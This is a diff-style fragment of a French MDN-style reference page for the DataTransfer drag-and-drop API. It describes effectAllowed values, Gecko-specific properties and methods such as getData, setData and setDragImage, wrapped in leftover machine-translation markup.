+<p><span id="result_box" lang="fr"><span class="hps" title="Cliquer ici pour voir d'autres traductions">Attribuer</span> <span class="hps" title="Cliquer ici pour voir d'autres traductions">une autre valeur </span><span class="hps" title="Cliquer ici pour voir d'autres traductions">n'a aucun effet et</span> <span class="hps" title="Cliquer ici pour voir d'autres traductions">conserve</span> <span class="hps" title="Cliquer ici pour voir d'autres traductions">l'ancienne valeur.</span></span></p>
+
+<h3 id="effectAllowed.28.29" name="effectAllowed.28.29">effectAllowed</h3>
+
+<p><span id="result_box" lang="fr"><span class="hps" title="Cliquer ici pour voir d'autres traductions">Indique</span> <span class="hps" title="Cliquer ici pour voir d'autres traductions">les effets</span> <span class="hps" title="Cliquer ici pour voir d'autres traductions">qui sont autorisés</span> <span class="hps" title="Cliquer ici pour voir d'autres traductions">pour ce</span> <span class="hps" title="Cliquer ici pour voir d'autres traductions">déplacer.</span> Il peut être spécifié<span class="hps" title="Cliquer ici pour voir d'autres traductions"> dans</span> <span class="hps" title="Cliquer ici pour voir d'autres traductions">l'évènement <code>dragstart</code></span> <span class="hps" title="Cliquer ici pour voir d'autres traductions">pour définir les effets</span> <span class="hps" title="Cliquer ici pour voir d'autres traductions">souhaités</span> <span class="hps" title="Cliquer ici pour voir d'autres traductions">pour la source</span><span title="Cliquer ici pour voir d'autres traductions">,</span> <span class="hps" title="Cliquer ici pour voir d'autres traductions">et dans</span> <span class="hps" title="Cliquer ici pour voir d'autres traductions">les événements</span> <span class="hps" title="Cliquer ici pour voir d'autres traductions"><code>dragenter</code> et</span> <code><span class="hps" title="Cliquer ici pour voir d'autres traductions">dragover</span></code> <span class="hps" title="Cliquer ici pour voir d'autres traductions">pour définir les effets</span> <span class="hps" title="Cliquer ici pour voir d'autres traductions">souhaités</span> <span class="hps" title="Cliquer ici pour voir d'autres traductions">pour la cible.</span> <span class="hps" title="Cliquer ici pour voir d'autres traductions">La</span> <span class="hps" title="Cliquer ici pour voir d'autres traductions">valeur n'est pas utilisée</span> <span class="hps" title="Cliquer ici pour voir d'autres traductions">pour d'autres événements</span><span title="Cliquer ici pour voir d'autres traductions">.</span></span></p>
+
+<p>Valeurs possibles:</p>
+
+<ul>
+ <li><strong>copy</strong>: <span id="result_box" lang="fr"><span class="hps" title="Cliquer ici pour voir d'autres traductions">Une copie de</span> <span class="hps" title="Cliquer ici pour voir d'autres traductions">l'élément source</span> <span class="hps" title="Cliquer ici pour voir d'autres traductions">peut être faite à</span> <span class="hps" title="Cliquer ici pour voir d'autres traductions">son nouvel emplacement.</span></span></li>
+ <li><strong>move</strong>: <span id="result_box" lang="fr"><span class="hps" title="Cliquer ici pour voir d'autres traductions">Un élément</span> <span class="hps" title="Cliquer ici pour voir d'autres traductions">peut être déplacé</span> <span class="hps" title="Cliquer ici pour voir d'autres traductions">vers un nouvel emplacement</span><span title="Cliquer ici pour voir d'autres traductions">.</span></span></li>
+ <li><strong>link</strong>: <span id="result_box" lang="fr"><span class="hps" title="Cliquer ici pour voir d'autres traductions">Un</span> <span class="hps" title="Cliquer ici pour voir d'autres traductions">lien peut être établi</span> vers<span class="hps" title="Cliquer ici pour voir d'autres traductions"> la source</span> <span class="hps" title="Cliquer ici pour voir d'autres traductions">depuis le nouvel emplacement</span><span title="Cliquer ici pour voir d'autres traductions">.</span></span></li>
+ <li><strong>copyLink</strong>: <span class="short_text" id="result_box" lang="fr"><span class="hps" title="Cliquer ici pour voir d'autres traductions">Une opération copy</span> <span class="hps" title="Cliquer ici pour voir d'autres traductions">ou link</span> <span class="hps" title="Cliquer ici pour voir d'autres traductions">est autorisée.</span></span></li>
+ <li><strong>copyMove</strong>: <span class="short_text" id="result_box" lang="fr"><span class="hps" title="Cliquer ici pour voir d'autres traductions">Une opération copy ou</span> <span class="hps" title="Cliquer ici pour voir d'autres traductions">move est</span> <span class="hps" title="Cliquer ici pour voir d'autres traductions">autorisée.</span></span></li>
+ <li><strong>linkMove</strong>: <span class="short_text" id="result_box" lang="fr"><span class="hps" title="Cliquer ici pour voir d'autres traductions">Une opération link ou move </span><span class="hps" title="Cliquer ici pour voir d'autres traductions">est autorisée.</span></span></li>
+ <li><strong>all</strong>: <span class="short_text" id="result_box" lang="fr"><span class="hps" title="Cliquer ici pour voir d'autres traductions">Toutes les opérations</span> <span class="hps" title="Cliquer ici pour voir d'autres traductions">sont autorisées.</span></span></li>
+ <li><strong>none</strong>: <span class="short_text" id="result_box" lang="fr"><span class="hps" title="Cliquer ici pour voir d'autres traductions">l'élément</span> <span class="hps" title="Cliquer ici pour voir d'autres traductions">ne peut être</span> déposé<span class="hps" title="Cliquer ici pour voir d'autres traductions">.</span></span></li>
+ <li><strong>uninitialized</strong>: <span id="result_box" lang="fr"><span class="hps" title="Cliquer ici pour voir d'autres traductions">la valeur par défaut</span> <span class="hps" title="Cliquer ici pour voir d'autres traductions">lorsque l'effet</span> <span class="hps" title="Cliquer ici pour voir d'autres traductions">n'a pas été spécifié</span><span title="Cliquer ici pour voir d'autres traductions">, ce qui équivaut</span> <span class="hps" title="Cliquer ici pour voir d'autres traductions">à all.</span></span></li>
+</ul>
+
+<p><span class="hps" style="line-height: 1.5;" title="Cliquer ici pour voir d'autres traductions">Attribuer</span><span style="line-height: 1.5;"> </span><span class="hps" style="line-height: 1.5;" title="Cliquer ici pour voir d'autres traductions">une autre valeur </span><span class="hps" style="line-height: 1.5;" title="Cliquer ici pour voir d'autres traductions">n'a aucun effet et</span><span style="line-height: 1.5;"> </span><span class="hps" style="line-height: 1.5;" title="Cliquer ici pour voir d'autres traductions">conserve</span><span style="line-height: 1.5;"> </span><span class="hps" style="line-height: 1.5;" title="Cliquer ici pour voir d'autres traductions">l'ancienne valeur</span>.</p>
+
+<h3 id="files.28.29" name="files.28.29">files</h3>
+
+<p><span id="result_box" lang="fr"><span class="hps" title="Cliquer ici pour voir d'autres traductions">Contient</span> <span class="hps" title="Cliquer ici pour voir d'autres traductions">une liste de tous</span> <span class="hps" title="Cliquer ici pour voir d'autres traductions">les fichiers locaux</span> <span class="hps" title="Cliquer ici pour voir d'autres traductions">disponibles sur le</span> <span class="hps" title="Cliquer ici pour voir d'autres traductions">transfert de données.</span> <span class="hps" title="Cliquer ici pour voir d'autres traductions">Si</span> le<span class="hps" title="Cliquer ici pour voir d'autres traductions"> glisser</span> <span class="hps" title="Cliquer ici pour voir d'autres traductions">n'implique pas</span> <span class="hps" title="Cliquer ici pour voir d'autres traductions">de fichiers</span><span title="Cliquer ici pour voir d'autres traductions">, cette propriété est</span> <span class="hps" title="Cliquer ici pour voir d'autres traductions">une liste vide.</span> <span class="hps" title="Cliquer ici pour voir d'autres traductions">Un</span> <span class="hps" title="Cliquer ici pour voir d'autres traductions">accès à un index</span> <span class="hps" title="Cliquer ici pour voir d'autres traductions">invalide sur le {{ domxref("FileList") }}</span> <span class="hps" title="Cliquer ici pour voir d'autres traductions">spécifié par cette propriété</span> <span class="hps" title="Cliquer ici pour voir d'autres traductions">renvoie <code>null</code>.</span></span></p>
+
+<h4 id="Exemple">Exemple</h4>
+
+<p><span id="result_box" lang="fr"><span class="hps" title="Cliquer ici pour voir d'autres traductions">Cet exemple</span> <span class="hps" title="Cliquer ici pour voir d'autres traductions">retourne la</span> <span class="hps" title="Cliquer ici pour voir d'autres traductions">liste des fichiers</span> <span class="hps" title="Cliquer ici pour voir d'autres traductions">traînée dans</span> <span class="hps" title="Cliquer ici pour voir d'autres traductions">la fenêtre du navigateur</span></span>:  <a class="external external-icon" href="http://jsfiddle.net/9C2EF/" style="white-space: pre-line;" title="http://jsfiddle.net/9C2EF/">http://jsfiddle.net/9C2EF/</a></p>
+
+<h3 id="types.28.29" name="types.28.29">types</h3>
+
+<p><span id="result_box" lang="fr"><span class="hps" title="Cliquer ici pour voir d'autres traductions">Contient une</span> <span class="hps" title="Cliquer ici pour voir d'autres traductions">liste des types de</span> <span class="hps" title="Cliquer ici pour voir d'autres traductions">format des données</span><span class="hps" title="Cliquer ici pour voir d'autres traductions"> stockées</span> <span class="hps" title="Cliquer ici pour voir d'autres traductions">pour le premier élément</span><span title="Cliquer ici pour voir d'autres traductions">,</span> <span class="hps" title="Cliquer ici pour voir d'autres traductions">dans le même ordre</span> oú <span class="hps" title="Cliquer ici pour voir d'autres traductions">les données ont été</span> <span class="hps" title="Cliquer ici pour voir d'autres traductions">ajoutées.</span> <span class="hps" title="Cliquer ici pour voir d'autres traductions">Une liste vide</span> <span class="hps" title="Cliquer ici pour voir d'autres traductions">sera</span> <span class="hps" title="Cliquer ici pour voir d'autres traductions">retournée si</span> <span class="hps" title="Cliquer ici pour voir d'autres traductions">aucune donnée n'a été</span> <span class="hps" title="Cliquer ici pour voir d'autres traductions">ajoutée</span><span title="Cliquer ici pour voir d'autres traductions">.</span></span></p>
+
+<p>L'état du curseur au cours d'un glisser. Cette propriété est surtout utilisée pour contrôler le curseur au cours d'un glisser d'onglet.</p>
+
+<div class="note"><strong>Note:</strong> <span id="result_box" lang="fr"><span class="hps" title="Cliquer ici pour voir d'autres traductions">Cette méthode n'est actuellement</span> <span class="hps" title="Cliquer ici pour voir d'autres traductions">implémentée</span> <span class="hps" title="Cliquer ici pour voir d'autres traductions">que</span> <span class="hps" title="Cliquer ici pour voir d'autres traductions">sur Windows</span><span title="Cliquer ici pour voir d'autres traductions">.</span></span></div>
+
+<h4 id="Valeurs_possibles">Valeurs possibles</h4>
+
+<dl>
+ <dt><code>auto</code></dt>
+ <dd>Utilise le comportement par défaut du système.</dd>
+ <dt><code>default</code></dt>
+ <dd>Utilise le comportement par défaut de Gecko, qui consiste à utiliser une flèche pour curseur au cours d'un glisser.</dd>
+</dl>
+
+<div class="note"><strong>Note:</strong> <span id="result_box" lang="fr"><span class="hps" title="Cliquer ici pour voir d'autres traductions">Si vous spécifiez</span> <span class="hps" title="Cliquer ici pour voir d'autres traductions">une valeur autre que</span> <span class="hps" title="Cliquer ici pour voir d'autres traductions">"default"</span><span title="Cliquer ici pour voir d'autres traductions">, "auto"</span> <span class="hps" title="Cliquer ici pour voir d'autres traductions">est supposé.</span></span></div>
+
+<h3 id="mozItemCount.28.29" name="mozItemCount.28.29">mozItemCount</h3>
+
+<p><span class="short_text" id="result_box" lang="fr"><span class="hps" title="Cliquer ici pour voir d'autres traductions">Le nombre d'éléments</span> <span class="hps" title="Cliquer ici pour voir d'autres traductions">glissés</span><span title="Cliquer ici pour voir d'autres traductions">.</span></span></p>
+
+<div class="note"><strong>Note:</strong> <span class="short_text" id="result_box" lang="fr"><span class="hps" title="Cliquer ici pour voir d'autres traductions">Cette propriété est</span> </span><span class="short_text" id="result_box" lang="fr"> <span class="hps" title="Cliquer ici pour voir d'autres traductions">spécifique a</span></span><span class="short_text" id="result_box" lang="fr"> <span class="hps" title="Cliquer ici pour voir d'autres traductions">Gecko</span><span class="hps" title="Cliquer ici pour voir d'autres traductions">.</span></span></div>
+
+<h3 id="mozSourceNode">mozSourceNode</h3>
+
+<p>le {{ domxref("Node") }} <span id="result_box" lang="fr"><span class="hps" title="Cliquer ici pour voir d'autres traductions">au dessus duquel le</span> <span class="hps" title="Cliquer ici pour voir d'autres traductions">curseur de la souris</span> <span class="hps" title="Cliquer ici pour voir d'autres traductions">se trouvait lorsque</span> <span class="hps" title="Cliquer ici pour voir d'autres traductions">le bouton</span> <span class="hps" title="Cliquer ici pour voir d'autres traductions">a été pressé</span> pour<span class="hps" title="Cliquer ici pour voir d'autres traductions"> initialiser le glisser</span><span title="Cliquer ici pour voir d'autres traductions">.</span> <span class="hps" title="Cliquer ici pour voir d'autres traductions">Cette valeur</span> <span class="hps" title="Cliquer ici pour voir d'autres traductions">est nulle pour</span> un glisser <span class="hps" title="Cliquer ici pour voir d'autres traductions">externe, ou</span> <span class="hps" title="Cliquer ici pour voir d'autres traductions">si l'appelant</span> <span class="hps" title="Cliquer ici pour voir d'autres traductions">ne peut pas</span> <span class="hps" title="Cliquer ici pour voir d'autres traductions">accéder au</span> <span class="hps" title="Cliquer ici pour voir d'autres traductions">nœud.</span></span></p>
+
+<div class="note"><strong>Note:</strong> <span class="short_text" id="result_box" lang="fr"><span class="hps" title="Cliquer ici pour voir d'autres traductions">Cette propriété est</span> </span><span class="short_text" id="result_box" lang="fr"> <span class="hps" title="Cliquer ici pour voir d'autres traductions">spécifique a</span></span><span class="short_text" id="result_box" lang="fr"> <span class="hps" title="Cliquer ici pour voir d'autres traductions">Gecko</span></span>.</div>
+
+<h3 id="mozItemCount.28.29" name="mozItemCount.28.29">mozUserCancelled</h3>
+
+<p><span id="result_box" lang="fr"><span class="hps" title="Cliquer ici pour voir d'autres traductions">Cette propriété s'applique uniquement</span> <span class="hps" title="Cliquer ici pour voir d'autres traductions">à l'événement</span> <code><span class="hps" title="Cliquer ici pour voir d'autres traductions">dragend</span></code><span title="Cliquer ici pour voir d'autres traductions">, et est positionnée à <code>true</code></span><span class="hps" title="Cliquer ici pour voir d'autres traductions"> si</span> <span class="hps" title="Cliquer ici pour voir d'autres traductions">l'utilisateur a annulé</span> <span class="hps" title="Cliquer ici pour voir d'autres traductions">le glisser</span> <span class="hps" title="Cliquer ici pour voir d'autres traductions">en appuyant</span> <span class="hps" title="Cliquer ici pour voir d'autres traductions">sur la touche échappe.</span> Elle est <span class="hps" title="Cliquer ici pour voir d'autres traductions">positionnée à <code>false</code></span> <span class="hps" title="Cliquer ici pour voir d'autres traductions">dans les autres cas</span><span title="Cliquer ici pour voir d'autres traductions">, y compris</span> <span class="hps" title="Cliquer ici pour voir d'autres traductions">si le glisser</span> a <span class="hps" title="Cliquer ici pour voir d'autres traductions">échoué</span> <span class="hps" title="Cliquer ici pour voir d'autres traductions">pour toute autre raison</span><span title="Cliquer ici pour voir d'autres traductions">, par exemple</span> <span class="atn hps" title="Cliquer ici pour voir d'autres traductions">en raison d'</span><span title="Cliquer ici pour voir d'autres traductions">un déposer sur</span> <span class="hps" title="Cliquer ici pour voir d'autres traductions">un emplacement non valide</span><span title="Cliquer ici pour voir d'autres traductions">.</span> <span class="hps" title="Cliquer ici pour voir d'autres traductions">Cette propriété</span> <span class="hps" title="Cliquer ici pour voir d'autres traductions">n'est pas encore implémenté</span> <span class="hps" title="Cliquer ici pour voir d'autres traductions">sous Linux.</span></span></p>
+
+<div class="note"><strong>Note:</strong> <span class="short_text" id="result_box" lang="fr"><span class="hps" title="Cliquer ici pour voir d'autres traductions">Cette propriété est</span> </span><span class="short_text" id="result_box" lang="fr"> <span class="hps" title="Cliquer ici pour voir d'autres traductions">spécifique a</span></span><span class="short_text" id="result_box" lang="fr"> <span class="hps" title="Cliquer ici pour voir d'autres traductions">Gecko</span></span>.</div>
+
+<h2 id="Methods" name="Methods">Methods</h2>
+
+<h3 id="addElement.28.29" name="addElement.28.29">addElement()</h3>
+
+<p><span id="result_box" lang="fr"><span class="hps" title="Cliquer ici pour voir d'autres traductions">Spécifie</span> <span class="hps" title="Cliquer ici pour voir d'autres traductions">la source du glisser</span><span title="Cliquer ici pour voir d'autres traductions">.</span> Ceci est rarement utilisé, <span class="hps" title="Cliquer ici pour voir d'autres traductions">mais</span> <span class="hps" title="Cliquer ici pour voir d'autres traductions">a pour effet de modifier la cible des</span><span class="hps" title="Cliquer ici pour voir d'autres traductions"> événements</span> <code>drag</code> et <code>dragend</code><span title="Cliquer ici pour voir d'autres traductions">.</span> <span class="hps" title="Cliquer ici pour voir d'autres traductions">La cible par défaut</span> <span class="hps" title="Cliquer ici pour voir d'autres traductions">est le nœud qui</span> est<span class="hps" title="Cliquer ici pour voir d'autres traductions"> glissé</span><span title="Cliquer ici pour voir d'autres traductions">.</span></span></p>
+
+<pre class="eval"> void addElement(
+   in Element element
+ );
+</pre>
+
+<h6 id="Parameters_addElement" name="Parameters_addElement">Parametres</h6>
+
+<dl>
+ <dt><code>element </code></dt>
+ <dd>L'élément à ajouter.</dd>
+</dl>
+
+<h3 id="clearData.28.29" name="clearData.28.29">clearData()</h3>
+
+<p><span id="result_box" lang="fr"><span class="hps" title="Cliquer ici pour voir d'autres traductions">Supprime</span> <span class="hps" title="Cliquer ici pour voir d'autres traductions">les données associées au</span><span class="hps" title="Cliquer ici pour voir d'autres traductions"> type spécifié.</span> <span class="hps" title="Cliquer ici pour voir d'autres traductions">L'argument type</span> <span class="hps" title="Cliquer ici pour voir d'autres traductions">est facultatif.</span> <span class="hps" title="Cliquer ici pour voir d'autres traductions">Si le type</span> <span class="hps" title="Cliquer ici pour voir d'autres traductions">est vide ou non</span> <span class="hps" title="Cliquer ici pour voir d'autres traductions">spécifié,</span> <span class="hps" title="Cliquer ici pour voir d'autres traductions">les données associées à</span> <span class="hps" title="Cliquer ici pour voir d'autres traductions">tous les types</span> <span class="hps" title="Cliquer ici pour voir d'autres traductions">sont supprimées.</span> <span class="hps" title="Cliquer ici pour voir d'autres traductions">Si les données</span> <span class="hps" title="Cliquer ici pour voir d'autres traductions">pour le type spécifié</span> <span class="hps" title="Cliquer ici pour voir d'autres traductions">n'existent pas,</span> <span class="hps" title="Cliquer ici pour voir d'autres traductions">ou le</span> <span class="hps" title="Cliquer ici pour voir d'autres traductions">transfert de données</span> <span class="hps" title="Cliquer ici pour voir d'autres traductions">ne contient pas de</span> <span class="hps" title="Cliquer ici pour voir d'autres traductions">données,</span> <span class="hps" title="Cliquer ici pour voir d'autres traductions">cette méthode</span> <span class="hps" title="Cliquer ici pour voir d'autres traductions">n'aura aucun effet</span><span title="Cliquer ici pour voir d'autres traductions">.</span></span></p>
+
+<pre class="eval"> void clearData(
+   [optional] in String type
+ );
+</pre>
+
+<h6 id="Parameters_clearData" name="Parameters_clearData">Parametres</h6>
+
+<dl>
+ <dt><code>type </code></dt>
+ <dd>The type of data to remove.</dd>
+</dl>
+
+<h3 id="getData.28.29" name="getData.28.29">getData()</h3>
+
+<p><span id="result_box" lang="fr"><span class="hps" title="Cliquer ici pour voir d'autres traductions">Récupère</span> <span class="hps" title="Cliquer ici pour voir d'autres traductions">les données du</span> <span class="hps" title="Cliquer ici pour voir d'autres traductions">type spécifié,</span> <span class="hps" title="Cliquer ici pour voir d'autres traductions">ou une chaîne vide</span> <span class="hps" title="Cliquer ici pour voir d'autres traductions">si les données</span> <span class="hps" title="Cliquer ici pour voir d'autres traductions">de ce type</span> <span class="hps" title="Cliquer ici pour voir d'autres traductions">n'existe pas ou</span> <span class="hps" title="Cliquer ici pour voir d'autres traductions">le transfert de données</span> <span class="hps" title="Cliquer ici pour voir d'autres traductions">ne contient aucune donnée</span><span title="Cliquer ici pour voir d'autres traductions">.</span></span></p>
+
+<p><span id="result_box" lang="fr"><span class="hps" title="Cliquer ici pour voir d'autres traductions">Une</span> <span class="hps" title="Cliquer ici pour voir d'autres traductions">erreur de sécurité</span> <span class="hps" title="Cliquer ici pour voir d'autres traductions">se produira si</span> <span class="hps" title="Cliquer ici pour voir d'autres traductions">vous tentez de</span> <span class="hps" title="Cliquer ici pour voir d'autres traductions">récupérer des données</span> <span class="hps" title="Cliquer ici pour voir d'autres traductions">lors d'un glisser</span><span class="hps" title="Cliquer ici pour voir d'autres traductions"> qui</span> <span class="hps" title="Cliquer ici pour voir d'autres traductions">a été spécifié</span> <span class="hps" title="Cliquer ici pour voir d'autres traductions">à partir d'un</span> <span class="hps" title="Cliquer ici pour voir d'autres traductions">domaine différent </span><span class="hps" title="Cliquer ici pour voir d'autres traductions">ou auquel l'appelant</span> <span class="hps" title="Cliquer ici pour voir d'autres traductions">n'a pas</span> <span class="hps" title="Cliquer ici pour voir d'autres traductions">accès.</span> <span class="hps" title="Cliquer ici pour voir d'autres traductions">Ces données</span> <span class="hps" title="Cliquer ici pour voir d'autres traductions">ne seront disponibles</span> <span class="hps" title="Cliquer ici pour voir d'autres traductions">qu'à l'issue du</span> déposer<span class="atn hps" title="Cliquer ici pour voir d'autres traductions"> au cours d'un </span><span title="Cliquer ici pour voir d'autres traductions">événement drop.</span></span></p>
+
+<pre class="eval"> void getData(
+   in String type
+ );
+</pre>
+
+<h6 id="Parameters_getData" name="Parameters_getData">Parametres</h6>
+
+<dl>
+ <dt><code>type </code></dt>
+ <dd>Le type de donnée à récupérer.</dd>
+</dl>
+
+<h3 id="setData.28.29" name="setData.28.29">setData()</h3>
+
+<p><span id="result_box" lang="fr"><span class="hps" title="Cliquer ici pour voir d'autres traductions">Définit une donnée</span> pour le<span title="Cliquer ici pour voir d'autres traductions"> type spécifié.</span> <span class="hps" title="Cliquer ici pour voir d'autres traductions">Si des données pour</span> <span class="hps" title="Cliquer ici pour voir d'autres traductions">le type</span> <span class="hps" title="Cliquer ici pour voir d'autres traductions">n'existe pas,</span> elle<span class="hps" title="Cliquer ici pour voir d'autres traductions"> est</span> <span class="hps" title="Cliquer ici pour voir d'autres traductions">ajoutée à la fin</span><span title="Cliquer ici pour voir d'autres traductions">,</span> <span class="hps" title="Cliquer ici pour voir d'autres traductions">de telle sorte que</span> <span class="hps" title="Cliquer ici pour voir d'autres traductions">le dernier élément</span> <span class="hps" title="Cliquer ici pour voir d'autres traductions">dans la liste des</span> <span class="hps" title="Cliquer ici pour voir d'autres traductions">types</span> <span class="hps" title="Cliquer ici pour voir d'autres traductions">sera</span> <span class="hps" title="Cliquer ici pour voir d'autres traductions">le nouveau format.</span> <span class="hps" title="Cliquer ici pour voir d'autres traductions">Si une donnée pour</span> <span class="hps" title="Cliquer ici pour voir d'autres traductions">le type</span> <span class="hps" title="Cliquer ici pour voir d'autres traductions">existe déjà,</span> <span class="hps" title="Cliquer ici pour voir d'autres traductions">la donnée existante est remplacée à</span><span class="hps" title="Cliquer ici pour voir d'autres traductions"> la même position</span><span title="Cliquer ici pour voir d'autres traductions">.</span> <span class="hps" title="Cliquer ici pour voir d'autres traductions">C'est-à-dire que </span><span class="hps" title="Cliquer ici pour voir d'autres traductions">l'ordre de</span> <span class="hps" title="Cliquer ici pour voir d'autres traductions">la liste des</span> <span class="hps" title="Cliquer ici pour voir d'autres traductions">types ne change pas </span><span class="hps" title="Cliquer ici pour voir d'autres traductions">lors du remplacement</span> <span class="hps" title="Cliquer ici pour voir d'autres traductions">de la donnée</span> <span class="hps" title="Cliquer ici pour voir d'autres traductions">d'un même type</span><span title="Cliquer ici pour voir d'autres traductions">.</span></span></p>
+
+<pre class="eval"> void setData(
+   in String type,
+   in String data
+ );
+</pre>
+
+<h6 id="Parameters_setData" name="Parameters_setData">Parametres</h6>
+
+<dl>
+ <dt><code>type </code></dt>
+ <dd>Le type de la donnée à ajouter.</dd>
+ <dt><code>data </code></dt>
+ <dd>La donnée à ajouter.</dd>
+</dl>
+
+<h3 id="setDragImage.28.29" name="setDragImage.28.29">setDragImage()</h3>
+
+<p><span id="result_box" lang="fr"><span class="hps" title="Cliquer ici pour voir d'autres traductions">Définit l'image</span> <span class="hps" title="Cliquer ici pour voir d'autres traductions">à utiliser pour</span> un <span class="hps" title="Cliquer ici pour voir d'autres traductions">glisser</span><span title="Cliquer ici pour voir d'autres traductions">, si</span> <span class="hps" title="Cliquer ici pour voir d'autres traductions">une</span> <span class="hps" title="Cliquer ici pour voir d'autres traductions">image personnalisée </span><span class="hps" title="Cliquer ici pour voir d'autres traductions">est souhaitée.</span> Cette méthode est rarement utilisée, dans la mesure oú<span class="hps" title="Cliquer ici pour voir d'autres traductions"> une</span> <span class="hps" title="Cliquer ici pour voir d'autres traductions">image par défaut est</span> <span class="hps" title="Cliquer ici pour voir d'autres traductions">créée à partir du</span> <span class="hps" title="Cliquer ici pour voir d'autres traductions">nœud </span>glissé<span title="Cliquer ici pour voir d'autres traductions">.</span><br>
+ <br>
+ <span class="hps" title="Cliquer ici pour voir d'autres traductions">Si le nœud est</span> <span class="hps" title="Cliquer ici pour voir d'autres traductions">un élément HTML</span> <span class="hps" title="Cliquer ici pour voir d'autres traductions">img</span><span title="Cliquer ici pour voir d'autres traductions">, un</span> <span class="hps" title="Cliquer ici pour voir d'autres traductions">élément canvas</span> <span class="hps" title="Cliquer ici pour voir d'autres traductions">HTML ou un</span> <span class="hps" title="Cliquer ici pour voir d'autres traductions">élément d'image</span> <span class="hps" title="Cliquer ici pour voir d'autres traductions">XUL,</span> <span class="hps" title="Cliquer ici pour voir d'autres traductions">la donnée image</span> <span class="hps" title="Cliquer ici pour voir d'autres traductions">est utilisée</span><span title="Cliquer ici pour voir d'autres traductions">.</span> <span class="hps" title="Cliquer ici pour voir d'autres traductions">Sinon,</span> <span class="hps" title="Cliquer ici pour voir d'autres traductions">l'image</span> <span class="hps" title="Cliquer ici pour voir d'autres traductions">doit être</span> <span class="hps" title="Cliquer ici pour voir d'autres traductions">un nœud</span> <span class="hps" title="Cliquer ici pour voir d'autres traductions">visible et</span> <span class="hps" title="Cliquer ici pour voir d'autres traductions">l'image</span> utilisée pendant le glisser est <span class="hps" title="Cliquer ici pour voir d'autres traductions">créée</span> <span class="hps" title="Cliquer ici pour voir d'autres traductions">à partir de ce noeud</span><span title="Cliquer ici pour voir d'autres traductions">.</span> <span class="hps" title="Cliquer ici pour voir d'autres traductions">Si</span> <span class="hps" title="Cliquer ici pour voir d'autres traductions">l'image</span> <span class="hps" title="Cliquer ici pour voir d'autres traductions">est null</span><span title="Cliquer ici pour voir d'autres traductions">, toute image</span> <span class="hps" title="Cliquer ici pour voir d'autres traductions">personnalisé est</span> <span class="hps" title="Cliquer ici pour voir d'autres traductions">effacée et</span> <span class="hps" title="Cliquer ici pour voir d'autres traductions">la valeur par défaut</span> <span class="hps" title="Cliquer ici pour voir d'autres traductions">est utilisée</span> <span class="hps" title="Cliquer ici pour voir d'autres traductions">à la place.</span><br>
+ <br>
+ <span class="hps" title="Cliquer ici pour voir d'autres traductions">Les coordonnées</span><span class="hps" title="Cliquer ici pour voir d'autres traductions"> spécifient</span> <span class="hps" title="Cliquer ici pour voir d'autres traductions">le décalage à l'intérieur de</span> <span class="hps" title="Cliquer ici pour voir d'autres traductions">l'image spécifiant la position du</span> <span class="hps" title="Cliquer ici pour voir d'autres traductions">curseur de la souris</span><span title="Cliquer ici pour voir d'autres traductions">.</span> <span class="hps" title="Cliquer ici pour voir d'autres traductions">Pour centrer l'image</span><span title="Cliquer ici pour voir d'autres traductions">, par exemple,</span> <span class="hps" title="Cliquer ici pour voir d'autres traductions">utiliser des valeurs</span> <span class="hps" title="Cliquer ici pour voir d'autres traductions">qui sont</span> <span class="hps" title="Cliquer ici pour voir d'autres traductions">la moitié de la</span> <span class="hps" title="Cliquer ici pour voir d'autres traductions">largeur et de la hauteur</span> <span class="hps" title="Cliquer ici pour voir d'autres traductions">de l'image.</span></span></p>
+
+<pre class="eval"> void setDragImage(
+   in Element image,
+   in long x,
+   in long y
+ );
+</pre>
+
+<h6 id="Parameters_setDragImage" name="Parameters_setDragImage">Parametres</h6>
+
+<dl>
+ <dt><code>image </code></dt>
+ <dd>Un élément à utiliser comme image pendant le glisser</dd>
+ <dt><code>x </code></dt>
+ <dd>Décalage horizontal à l'intérieur de l'image.</dd>
+ <dt><code>y </code></dt>
+ <dd>Décalage vertical à l'intérieur de l'image.</dd>
+</dl>
+
+<h3 id="mozClearDataAt.28.29" name="mozClearDataAt.28.29">mozClearDataAt()</h3>
+
+<p><span id="result_box" lang="fr"><span class="hps" title="Cliquer ici pour voir d'autres traductions">Supprime</span> <span class="hps" title="Cliquer ici pour voir d'autres traductions">les données</span> <span class="hps" title="Cliquer ici pour voir d'autres traductions">associées au format</span><span class="hps" title="Cliquer ici pour voir d'autres traductions"> pour</span> <span class="hps" title="Cliquer ici pour voir d'autres traductions">un élément</span> <span class="hps" title="Cliquer ici pour voir d'autres traductions">à l'index spécifié</span><span title="Cliquer ici pour voir d'autres traductions">.</span> <span class="hps" title="Cliquer ici pour voir d'autres traductions">L'index est</span> compris entre<span class="hps" title="Cliquer ici pour voir d'autres traductions"> zéro</span> et le<span class="hps" title="Cliquer ici pour voir d'autres traductions"> nombre</span> <span class="hps" title="Cliquer ici pour voir d'autres traductions">d'éléments</span> <span class="hps" title="Cliquer ici pour voir d'autres traductions">moins un.</span><br>
+ <br>
+ <span class="hps" title="Cliquer ici pour voir d'autres traductions">Si</span> <span class="hps" title="Cliquer ici pour voir d'autres traductions">le dernier format</span> <span class="hps" title="Cliquer ici pour voir d'autres traductions">de</span> <span class="hps" title="Cliquer ici pour voir d'autres traductions">l'élément est supprimé</span><span title="Cliquer ici pour voir d'autres traductions">,</span> <span class="hps" title="Cliquer ici pour voir d'autres traductions">l'élément entier</span> <span class="hps" title="Cliquer ici pour voir d'autres traductions">est retiré</span><span title="Cliquer ici pour voir d'autres traductions">, réduisant</span> <code><span class="hps" title="Cliquer ici pour voir d'autres traductions">mozItemCount</span></code> <span class="hps" title="Cliquer ici pour voir d'autres traductions">par un.</span><br>
+ <br>
+ <span class="hps" title="Cliquer ici pour voir d'autres traductions">Si</span> <span class="hps" title="Cliquer ici pour voir d'autres traductions">la liste <code>format</code></span> <span class="hps" title="Cliquer ici pour voir d'autres traductions">est vide, alors</span> <span class="hps" title="Cliquer ici pour voir d'autres traductions">les données associées à</span> <span class="hps" title="Cliquer ici pour voir d'autres traductions">tous les formats</span> <span class="hps" title="Cliquer ici pour voir d'autres traductions">sont supprimées.</span> <span class="hps" title="Cliquer ici pour voir d'autres traductions">Si le format</span> <span class="hps" title="Cliquer ici pour voir d'autres traductions">n'est pas trouvé,</span> <span class="hps" title="Cliquer ici pour voir d'autres traductions">alors cette méthode</span> <span class="hps" title="Cliquer ici pour voir d'autres traductions">n'a aucun effet.</span></span><br>
+  </p>
+
